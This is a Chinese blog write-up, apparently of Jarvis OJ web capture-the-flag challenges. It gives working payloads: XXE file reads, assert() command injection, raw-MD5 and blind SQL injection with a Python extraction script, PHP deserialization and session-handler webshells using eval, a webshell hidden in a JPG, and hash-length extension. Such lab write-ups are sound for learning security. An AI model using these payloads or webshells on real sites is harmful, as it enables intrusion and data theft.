1. 程式人生 > >Jarvis OJ web WriteUp

Jarvis OJ web WriteUp

我要開始做Jarvis OJ上的題目啦!!!之前bugku上還剩下的幾道題,之後也會再補上的,做出來之後,就會把思路寫到部落格裡的。新手,有錯的地方多多指教。(不是按順序寫的…我就先挑簡單的做啦~~~)

  • PORT 51
    這個題目用到了curl命令,是利用URL語法在命令列方式下工作的開源為念傳輸工具…之前沒接觸過這個命令…我在我的ubuntu虛擬機器下執行curl --help ,可以看到如下,執行相應指令就可以得到flag。(剛開始一直沒有用sudo ,許可權不夠,一直提示報錯permission denied

    這裡寫圖片描述

    這裡寫圖片描述

    要學習的東西還有很多~~~

  • LOCALHOST
    開啟網頁,提示說只有localhost

    登入是被允許的,也就是說我們訪問的ip要是127.0.0.1 ,顯然一定不會是…所以就要偽造ip。之前做題目時候見到過伺服器端判斷訪問ip的方式:通過檢測header中的X-FORWARDED-FOR 欄位的值,認為這個欄位值就是訪問ip。那我們就修改header,新增X-FORWARDED-FOR ,就得到結果。如下。

    這裡寫圖片描述

  • api 呼叫
    這個題目是xxe漏洞的利用,網頁允許呼叫xml外部實體。
    先理解一下網頁index.php中的原始碼。最主要是其中的js程式碼。在其中有一個send()函式,向/api/v1.0/try發起請求,並將伺服器響應的內容在頁面中顯示出來。抓包過程中看到application/json,並且題目告訴我們要想辦法去讀取/home/ctf/flag.txt中的內容,所以想到有沒有可能是xxe漏洞(說是這樣的思考過程,但不知道以後見到類似的利用xxe漏洞的時候還能不能想到)…
    接下來就是了解了一下xxe漏洞的利用過程,解題過程如圖所示。

這裡寫圖片描述

(2018/9/28)
做完月賽那道baby題目之後又來看了一下這個題目,我一定是成長了!!!
印象中之前做這個題目也不是很理解為什麼file:///後面要加上個斜槓…有查過就像http://協議一樣,後面還要加主機名,但是因為file:// 偽協議沒有主機名,所以就是空的,就連著後面路徑本來應該有的斜槓,變成了三個斜槓。
還有,現在再看這個payload就覺得很清晰了。美滋滋。

  • admin
    開啟題目網頁,就顯示了一個hello world,再啥也沒有,原始碼中也沒有任何可以參考的資訊,所以就先用burp+字典掃一下,看有沒有可以利用的檔案。掃描之後發現存在robot.txt。如圖。

這裡寫圖片描述

訪問robot.txt。如圖:

![這裡寫圖片描述](https://img-blog.csdn.net/20180128163441063?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast) 
接著訪問admin_s3cr3t.php 檔案,顯示flag{hello guest}...我開始以為這個就是flag...因為跟flag的格式一毛一樣....提交發現不是,重新檢查...頁面中還是沒有任何資訊,題目名字是admin,那說明要是admin的身份來訪問這個php檔案才能拿到flag。F12原始碼檢查一下,發現其中有一個名為admin的cookie,然後burp抓包改包,就拿到了flag。
![這裡寫圖片描述](https://img-blog.csdn.net/20180128163758911?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast) 

![這裡寫圖片描述](https://img-blog.csdn.net/20180128164109268?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)
  • web?
    題目要求輸入一個password。嘗試一些萬能密碼…都不對,感覺也不像是sql注入的題目。F12檢視網頁相關資訊,找到了app.js…用其中的js程式碼格式化,方便理解。在其中查找了和password相關的內容,(我是搜尋了pass)最終找到了下列函式:
key: "__checkpass__REACT_HOT_LOADER__",
value: function(e) {
    if (25 !== e.length) return ! 1;
    for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));
    for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) {
        for (var i = 0, a = 0; a < 25; a++) 
            i += t[a] * o[n][a];
        if (i !== r[n]) return ! 1
    }
    return ! 0
}

理解這段程式碼,傳遞的e引數就是我們的密碼,首先就判斷密碼的長度是不是25。charCodeAt()函式是返回指定位置的字元的Unicode編碼。接下來的迴圈就是一個密碼的正確產生過程,就是兩個矩陣的相乘,一個1行25列的t矩陣和25行25列的o矩陣相乘,最終得到了r矩陣:t1 * o11 + t2 * o12 + t3 * o13 + … + t25 * o125 = r1,其中的t矩陣就是和我們的密碼所對應的,o矩陣和r矩陣都是程式碼已經告訴我們的,所以我們可以解出t矩陣,從而得到我們想要的密碼。python中的numpy模組可以解這樣的線性方程。程式碼如下:

這裡寫圖片描述
(import numpy)

這裡需要注意一個地方…就是解出的t矩陣裡面的數都是小數,而我們要得到的是unicode字元值,一定是整數。這裡是採用了四捨五入的方式,才能得到正確的答案。
python中int()函式是直接截去小數部分的。所以使用int來做的話,無法得到正確結果。

  • babyphp
    開啟頁面,網頁提示了開發網站過程中用到了git…就很容易想到可能會有git洩露,我用GitTools工具將網站檔案下載下來。

    這裡寫圖片描述

    這裡寫圖片描述

    裡面有index.php,還包含了contact.php、home.php、flag.php,而flag.php裡面是空的,並沒有直接給出我們結果。檢視index.php,程式碼如下:

     <?php
    if (isset($_GET['page'])) {
    	$page = $_GET['page'];
    } else {
    	$page = "home";
    }
    $file = "templates/" . $page . ".php";
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    assert("file_exists('$file')") or die("That file doesn't exist!");
    ?>
     <?php
    	require_once $file;
    ?>
    

    我們下載到的原始碼應該是歷史版本,所以flag.php中沒有給出flag值。從index.php裡可以看出,雖然有require_once $file可以用來包含flag.php,但因為flag是被註釋掉的,我們也看不到。程式碼中有assert()函式,應該很敏感地想到要利用它來執行任意命令,從而拿到flag。

    那我們就構造我們可以控制的page值。最終構造出來的payload如下:

flag’.system(“cat templates/flag.php;”).’
```
這樣,$file = "templates/flag'.system("cat templates/flag.php;").'.php
那assert函式執行時就變成
assert("strpos('templates/flag'.system("cat templates/flag.php;").'.php', '..') === false") or die("Detected hacking attempt!");
變成將system執行結果拼接到字串中,這樣我們就看到flag.php中的內容了。

這裡寫圖片描述

  • Login
    題目告訴我們需要密碼才可以獲取flag…只有一個輸入密碼的框…我首先猜了會不會有爆破,然後利用burp+字典進行爆破,發現在輸入password 121212 等內容時會爆出一個mysql的錯誤:

    這裡寫圖片描述
    所以知道這道題其實是一個sql注入的題目,上面報錯就是因為mysql_query() 函式執行錯誤,也就是要執行的sql語句出現錯誤。那我們接下來尋找相關資訊。
    因為在頁面上再沒有找到其他資訊,而且可以產生報錯資訊的對應密碼(即password 121212 等)有很多個,找不到對應的規律,無法找到注入方式,也判斷不出來伺服器端的sql查詢語句到底是怎麼寫的…所以就抓包看一下,伺服器響應的包中會不會有一些提示資訊等。果然,發現如圖提示:

    這裡寫圖片描述
    這下就知道後臺的查詢語句是怎麼寫的了…在網上查了一下,知道這是一個md5加密後的sql注入。
    md5($pass, true),引數一是要加密的字串,引數二是輸出格式:true,表示輸出原始16字元二進位制格式;false,預設,表示輸出32字元十六進位制數。

    網上找到的都是字串:ffifdyop
    md5後為: 276f722736c95d99e921722cf9ed621c
    再轉換為字串為: 'or'6<亂碼>
    那麼拼接後的sql語句為:select * fromadminwhere password=''or'6<亂碼>' ,就相當於select * fromadminwhere password=''or 1 ,從而實現sql注入。

    所以我們在網頁中輸入ffifdyop 即可拿到flag:

    這裡寫圖片描述

  • inject
    題目的名字已經告訴我們了,這是一道sql注入的題。hint告訴我們要先找到原始碼,那應該是有原始碼洩露出來,所以用burp+字典先掃一遍,得到如下結果:

    這裡寫圖片描述

    我們已經拿到原始碼,知道了後來的sql語句是什麼樣子的,就可以相應的來構造注入語句。

    這裡先理解一下這段原始碼:
    主要是說一下反引號,之前一直都沒有注意過sql語句中反引號、單引號的差別。

    反引號是為了區分MySql的保留欄位與普通字元而引入的符號;
    引號一般用在欄位的值,如果欄位值是字元或字串,則要加引號
    

    我在本地的MySql資料庫中做了如下測試:

    這裡寫圖片描述

    這裡寫圖片描述
    還有這樣的語句(如果看到語句不太對…那就請看下面兩張圖片裡的sql語句):
    SELECT * FROM \user` ` ` union select 1,1DESC `user` ` ` `
    是可以正確執行的…(真是愧疚,我以前不知道還可以這樣…)

    這裡寫圖片描述

    這裡寫圖片描述
    知道了這些…那我們就去構造注入語句。首先要讓mysqli_query() 這個函式正確執行,然後要讓sql_query() 函式執行後的結果集中第一個就是我們要的值。

    因為這個編輯器的反引號轉義一直不太正常,所以我就把接下來的分析過程放到圖片裡啦。(查表查列的sql語句就是最套路的那些,就不再詳細說了。)
    這裡寫圖片描述

    這裡寫圖片描述
    這裡寫圖片描述
    這裡寫圖片描述

  • 神盾局的祕密
    首先開啟頁面,只有一張圖片,先是查看了一下原始碼…然後在我還沒打算真正開始做、正在瞎試的時候,就發現了題目的下手點…

這裡寫圖片描述

也就是說頁面顯示的這張圖片是從通過另一個php檔案:`showimg.php` 來讀取到的,傳遞的引數`img=c2hpZWxkLmpwZw==` 是base64編碼,解碼後是`shield.jpg` ,就是說`showimg.php` 這個檔案中存在檔案包含的程式碼。那就接著想到另其包含的檔案為`index.php` ,得到了原始碼:


```
<?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?>
```
程式碼中提到了`shield.php`,再次通過包含得到原始碼:
```
<?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>
```

這個php檔案告訴我們flag是在pctf.php 中的,那再嘗試包含pctf.php ,不過這裡猜也可以猜到不可能這麼輕易就讓你看到pctf.php 的內容,嘗試之後發現提示檔案找不到。

那接下來就來分析一下`index.php` 和 `shield.php` 的內容了。
`index.php`中告訴我們要傳遞一個引數`class` ,然後將該引數內容反序列化,賦值給`Shield`類的一個例項`x` 。
`shield.php`中給出了`Shield` 這個類的定義,它有一個`file`引數,有一個`readfile`函式,可以讀取`file`引數對應的檔案,並且設定了一些過濾條件。那我們就要構造一個反序列化後和`Shield`類對應的字串,讓它的`file`引數為`pctf.php` ,然後通過`echo $x->readfile();` 就可以得到`pctf.php` 中的內容了。
在本地編寫如下程式碼:


```
<?php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } $x = new Shield('pctf.php'); echo serialize($x); //輸出結果為:O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} ?>
```

接著傳入引數,得到結果。如圖:

![這裡寫圖片描述](https://img-blog.csdn.net/20180130174213029?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast) 

網上有很多和序列化、反序列化相關的漏洞利用,之前做的bugku上也有兩道題是利用反序列化來拿到flag的,可以找來做一下(在我的另一篇部落格裡都有相應的解答)。
還有以兩個下劃線為開頭命名的函式的作用,可以相應地去了解一下。
可以使用同樣的方式檢視`showimg.php` 的內容。

(做題目的時候,`shield.php` 中過濾相關的程式碼好像也沒有起到相應的作用...過濾的內容在解題的時候沒有用到,也就不需要考慮繞過...還有其實也沒理解為什麼`pctf.php` 中要寫兩個flag,是有什麼方式可以直接訪問到`pctf.php` 檔案,輸出錯誤的flag?)
  • PHPINFO

2018.10.31
圖片竟然都顯示不出來了…懶得再改了…
重新看了一下這個題目,現在再看,有種資訊量不是很大的感覺。
做的時候嘗試了一下寫檔案,但是沒寫成功…可能是沒有寫許可權吧。

 $m = new OowoO();
 $m->mdzz = "echo 1;";

(phpinfo();是預設值,如果沒有對其進行修改的話,mdzz值就是phpinfo();,修改之後就變成我們想要的值)

__contruct是在每次建立新物件時呼叫
__destruct是在物件所有的引用都被刪除或者顯式撤銷時候呼叫
這個程式中在new了一個新物件之後沒再進行任何操作,php檔案執行結束,所以刪除物件,呼叫__destruct

開啟網頁,就看到了本題中的index.php 。分析一下程式碼:
註釋部分告訴我們可以拿到shell ,又看到eval() 函式,所以我們就是要通過該函式來執行任意程式碼。

ini_set('session.serialize_handler', 'php'); 這個我以前沒用到過,但是看到有serialize ,然後又看到有類,結合之前的題目,猜想這道題目應該是要構造一個字串,反序列化之後觸發類中定義的“魔法函式__destruct()”從而執行任意程式碼。

接著查了一下`ini_set('session.serialize_handler', 'php');` 相關的內容,在上面提到的參考連結裡都有,這裡再加上我的一些理解,整理如下:

`session.serialize_handler` 是定義用來序列化/反序列化的處理器的名字,不同的處理器,序列化/反序列化的結果不同,從而導致輸入到session檔案中的內容不同。 

`session`檔案預設是以檔案的方式儲存的,可以由配置項`session.save_handler` 來修改。儲存的檔案是以`sess_sessionid`來進行命名的,檔案的內容就是`session`值的序列化之後的內容。`sessionid` 在`cookie` 中可以看到。

使用`php` 引擎時,輸入到session檔案中的內容是`name|s:6:"xxxxxx"` 

使用`php_serialize` 引擎時,輸入到session檔案中的內容是`a:1:{s:4:"name";s:6:"xxxxxx"}` 

會出現問題的情況是:php在反序列化儲存的`$_SESSION` 資料時使用的引擎和序列化使用的引擎不一樣,從而導致資料無法正確地反序列化。(這裡用到的特性是:當使用php引擎時,php引擎會以 `|` 作為`key` 和`value` 的分隔符。)

在訪問`index.php` 檔案時,會去讀儲存的`session` 檔案,然後反序列化檔案中的內容,所以我們要想辦法寫資料到`session` 檔案。寫入的方式:在上傳檔案時,如果POST一個名為`PHP_SESSION_UPLOAD_PROGRESS` 的變數,就可以將我們所上傳的**檔名**賦值到`session` 檔案中。用於上傳的頁面的寫法:


```
``` 我們就通過修改檔名的方式來改變我們寫入的資料。 可以參考:[session.upload_progress](http://php.net/manual/en/session.upload-progress.php)

做這個題目用到的知識點差不多就這些了…接下來就是具體的解題步驟了。
我們先來確定我們要構造的“檔名”是什麼樣子的,它需要被反序列化後是OowoO 類,並且這個類的mdzz 變數是和列目錄相關的程式碼。(我開始用了system("ls") 不可以,所以最後使用了dirname(__FILE__); scandir() file_get_contents()

```
<?php class OowoO { public $mdzz; function __construct() { $this->mdzz = 'print_r(dirname(__FILE__));'; } function __destruct() { eval($this->mdzz); } } $temp = $_GET['phpinfo']; $m = new OowoO(); echo serialize($m); //輸出結果為:O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";} ?>
```
這樣還不夠,還需要利用上面提到的特性,在之前加一個 `|` ,這樣在解析的時候,才能讓我們構造出的字串被當做`value`,進行反序列化。(在修改包的時候還要注意引號轉義。) 



```

print_r(dirname(FILE));
print_r(scandir("/opt/lampp/htdocs"));
print_r(file_get_contents(“Here_1s_7he_fl4g_buT_You_Cannot_see.php”));
```

![這裡寫圖片描述](https://img-blog.csdn.net/20180131212755476?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast) 

提交之後再訪問`index.php` 我們所構造的字串就會被反序列化,然後執行相應程式碼。   
到這裡就可以拿到`flag`了...
我又查看了一下`sess_sessionid`裡面的內容,看到了我們寫進去的字串~也對這個過程理解的更深一點~ 這個題目我們能拿到`webshell` 就是因為在寫入序列化字串的時候是使用了`php_serialize` 引擎(可以從讀到的`session` 檔案中看出),而讀出來反序列化時候是使用`php` 引擎。
![這裡寫圖片描述](https://img-blog.csdn.net/20180131214549895?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)  

![這裡寫圖片描述](https://img-blog.csdn.net/20180131214610886?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)

![這裡寫圖片描述](https://img-blog.csdn.net/20180131214639597?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast) 

![這裡寫圖片描述](https://img-blog.csdn.net/20180131214701358?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast) 

以前沒有用過中國菜刀,趁這個機會正好感受一波。


```
<?php class OowoO { public $mdzz; function __construct() { $this->mdzz = 'eval($_GET[1]);'; } function __destruct() { eval($this->mdzz); } } $m = new OowoO(); echo serialize($m); //輸出結果為:O:5:"OowoO":1:{s:4:"mdzz";s:15:"eval($_GET[1]);";} ?>
```

將我們構造出的這個字串用同樣的方法寫入到session 檔案中,然後配置好菜刀(注意要帶著你的sessionid),就可以看到整個網站的目錄,並且獲取任意一個檔案的內容了。

![這裡寫圖片描述](https://img-blog.csdn.net/20180201115323718?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast) 

![這裡寫圖片描述](https://img-blog.csdn.net/20180201115359440?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast) 

![這裡寫圖片描述](https://img-blog.csdn.net/20180201115412393?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)  

![這裡寫圖片描述](https://img-blog.csdn.net/20180201121838402?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)

這裡我還有一個問題就是為什麼在寫入`session` 檔案的時候就是使用的`php_serialize` 引擎。檢視`phpinfo`,發現`session.serialize_handler`的配置中,`local value` 的值是 `php` ,這是因為在`index.php` 中寫的`ini_set('session.serialize_handler', 'php');` ,而`master value` 的值是`php_serialize` 。(`master value `是`php.ini`檔案中的內容,`local value` 是當前目錄中的設定,這個值會覆蓋`master value` 中對應的值) 

![這裡寫圖片描述](https://img-blog.csdn.net/20180201121854878?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)
這一點我覺得應該在做題目之前心裡就有個數的...(原諒我這麼囉嗦地寫,主要是我自己不清楚...哈哈哈哈)
  • RE?
    沒想到這道題是醬紫的…/笑哭/笑哭
    看到題目給的檔案裡有一個This file is packed with the UPX executable packer ,我試著用UPX decomplier ,然後失敗了…也沒用過這個東西,暈乎乎的。後來在網上找到writeup ,是用了jeb 這個軟體…
    然後…我放棄了…/再見/再見…
    writeup

    我看到了另一種解釋方法,連結擺這裡。
    這裡寫連結內容

  • Simple Injection
    很常規的題目,用到的sql語句跟之前都一樣…雖然現在做這道題目已經算是簡單…但是還是花了很多時間。因為習慣手動注入,括號太多,總是這出錯那出錯,並且沒有對一些錯誤原因很快地做出判斷…emmmm…我要再好好反思一下了…

接下來就說這個題目的具體步驟了。
剛開啟網頁,第一反應就是試使用者名稱為admin ,密碼瞎寫一個,提示說“密碼錯誤”;然後再隨便試一個使用者名稱,密碼,提示“使用者名稱錯誤”。那這裡就可以知道,題目的資料庫中是有admin這個使用者名稱的, 並且在判斷時,相關的程式碼應該是這樣的:select password from xxx where username='admin'if 查詢結果 == 輸入的密碼值
那注入點應該是在admin 這裡。所以測試一下:分別輸入admin' admin'# ,後者提示“密碼錯誤”,前者提示“使用者名稱錯誤”,那麼我們就可以確定要在username 這裡動手腳了。

接下來輸入`admin'or 1#` ,提示使用者名稱錯誤。猜想可能是過濾了空格,那用括號來繞過。`admin'or(1)#` ,提示密碼錯誤。那思路已經出來了:我們構造這樣的`username` 值,`x'or(xxxxxx)#` ,我們可以根據錯誤提示來判斷`xxxxxx` 執行的結果是0還是1,也就是這道題目是報錯注入。

用到的測試語句列出如下:

```

爆資料庫名: x’or(substring((select(database())),1,1)=‘1’)#
爆表的個數: x’or(((select(count(table_name))from(information_schema.tables)where(table_schema=‘injection’)))=0)#
爆表名: x’or(substring((select(table_name)from(information_schema.tables)where(table_schema=‘injection’)),1,1)=‘1’)#
爆列的個數:x’or(((select(count(column_name))from(information_schema.columns)where(table_schema=‘injection’)))=1)#
爆列名:x’or(substring((select(group_concat(column_name))from(information_schema.columns)where((table_schema=‘injection’)and(table_name=‘admin’))),1,1)=‘1’)#
爆欄位值: x’or(substring((select(password)from(injection.admin)),1,1)=‘1’)#
```

具體指令碼如下(這裡只給出了爆欄位值的指令碼,其他指令碼只需要把相應的`username` 換掉就可以了):

```
#!python 2
import requests
import string

guess = string.digits + string.ascii_lowercase + string.punctuation
url = "http://web.jarvisoj.com:32787/login.php"


def find():
    answer = ""
    for i in range(1,50):
        flag = 0    
        for j in guess:
            data = {"username":"x'or(substring((select(password)from(injection.admin)),%d,1)='%s')#" % (i, j),
                    "password":"'"}
            response = requests.post(url, data = data).text
            if len(response) == 1191:
                answer += j 
                print("get: " + answer)
                flag = 1
        if flag == 0:
            print(answer)
            break

if __name__ == "__main__":
    find()
```

最終找到的欄位值為:334cfb59c9d74849801d5acdcfdaadc3 ,一般這樣的不會是密碼或者直接就是flag…看一下總共是32位,猜測是md5加密的結果,解密後得到登陸密碼:eTAloCrEP ,登陸後即得到flag :CTF{s1mpl3_1nJ3ction_very_easy!!}
這裡寫圖片描述

在做題目之前應該確定好哪些你第一反應要用的字元或者關鍵字是被過濾掉的,如果過濾掉要怎麼繞過。這個題目是過濾掉了空格,用括號繞過。在做的時候我還測試了=,or,這兩個都沒有被過濾。
然後,我就放寬心去做了…但是沒想到,limit是被過濾掉了的…而我一般都習慣用limit…剛開始沒發現,就一直都在看是不是語句寫錯了,後來才反應過來應該是limit 被過濾了,測試一下,發現確實是這樣…所以這個題目在爆列名的時候我用的是group_concat()
答案明明在眼前,我卻一直在繞圈圈…/難過
還是應該好好學一下sqlmap怎麼用…

  • Easy Gallery
    直接說怎麼做吧…然後再談一下做這個題目的感想。
    看題目要求,瞎點點,很快就可以判斷出這是一個檔案上傳的題目,我們需要繞過對上傳檔案的各種限制,上傳一句話木馬,然後訪問這個檔案,拿到shell。

    以前遇到過%00 截斷,還有通過抓包修改檔案字尾名。嘗試之後發現這個題目對檔案型別的檢測,不僅僅是檔案字尾名,Content-Type ,還有檔案頭。那麼我們想到的就是在jpg 檔案中嵌入PHP 程式碼…
    我用了<?php eval($_POST[1]);?> <[email protected]($_POST[1]); 這兩個都沒有成功。正確的繞過內容檢測的PHP 程式碼是:<script language="php">eval($_POST[1]);</script> 。將該語句插入到jpg 檔案中,並且通過檔案包含去訪問,即可拿到flag 。(jpg 中的php 程式碼可以執行)

    檔案包含的地方,也很容易發現。index.php 中,通過page 引數傳遞要包含的檔名,並在檔名後會自動新增.php 字尾。所以在我們讀取上傳成功的圖片檔案時,要用%00 截斷。檔案上傳後的儲存路徑可以通過view.php 知道。這些在隨便點選網頁的時候都可以很容易地發現。

    (將php 程式碼嵌入到jpg 檔案中)
    這裡寫圖片描述
    這裡寫圖片描述
    這裡寫圖片描述

    下面是談感想時間:這個題目我還是看了挺久的,因為覺得挺有意思,就想自己把它做出來…這個題目要用到的各個點都找到了…上面提到的兩種繞過內容檢測的方法我也都知道。可能還是對一些知識點不夠熟,不夠肯定,所以在試過將PHP 程式碼嵌入到JPG 檔案,但是失敗以後就覺得是方法不對。知道真相的我眼淚掉下來…還是太菜了…
    感覺這個連結還不錯

  • flag在管理員手裡
    頁面很簡單,掃一下目錄,發現存在index.php~ ,下載下來,修改檔名為index.php.swp ,通過指令vim -r index.php.swp 恢復得到index.php 的原始碼:

    <!DOCTYPE html>
    <html>
    <head>
    <title>Web 350</title>
    <style type="text/css">
            body {
                    background:gray;
                    text-align:center;
            }
    </style>
    </head>
    
    <body>
            <?php
                    $auth = false;
                    $role = "guest";
                    $salt =
                    if (isset($_COOKIE["role"])) {
                            $role = unserialize($_COOKIE["role"]);
                            $hsh = $_COOKIE["hsh"];
                            if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
                                    $auth = true;
                            } else {
                                    $auth = false;
                            }
                    } else {
                            $s = serialize($role);
                            setcookie('role',$s);
                            $hsh = md5($salt.strrev($s));
                            setcookie('hsh',$hsh);
                    }
                    if ($auth) {
                            echo "<h3>Welcome Admin. Your flag is 
                    } else {
                            echo "<h3>Only Admin can see the flag!!</h3>";
                    }
            ?>
            
    </body>
    </html>
    

理解原始碼,可以知道,我們要做的就是構造cookie ,使其滿足$role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))

`$salt` 我們是不知道的。這道題目是一個雜湊長度攻擊,網上資料還挺多的,我主要參考了:[用MD5實現hash長度擴充套件攻擊 By Assassin](http://blog.csdn.net/qq_35078631/article/details/70941204)

具體原理我就不再重複了...針對這種題目有兩個攻擊可以使用,就不需要我們寫很複雜的程式碼,自己去實現整個攻擊過程:`hash_extender` `hashpump` , 我用了後者。
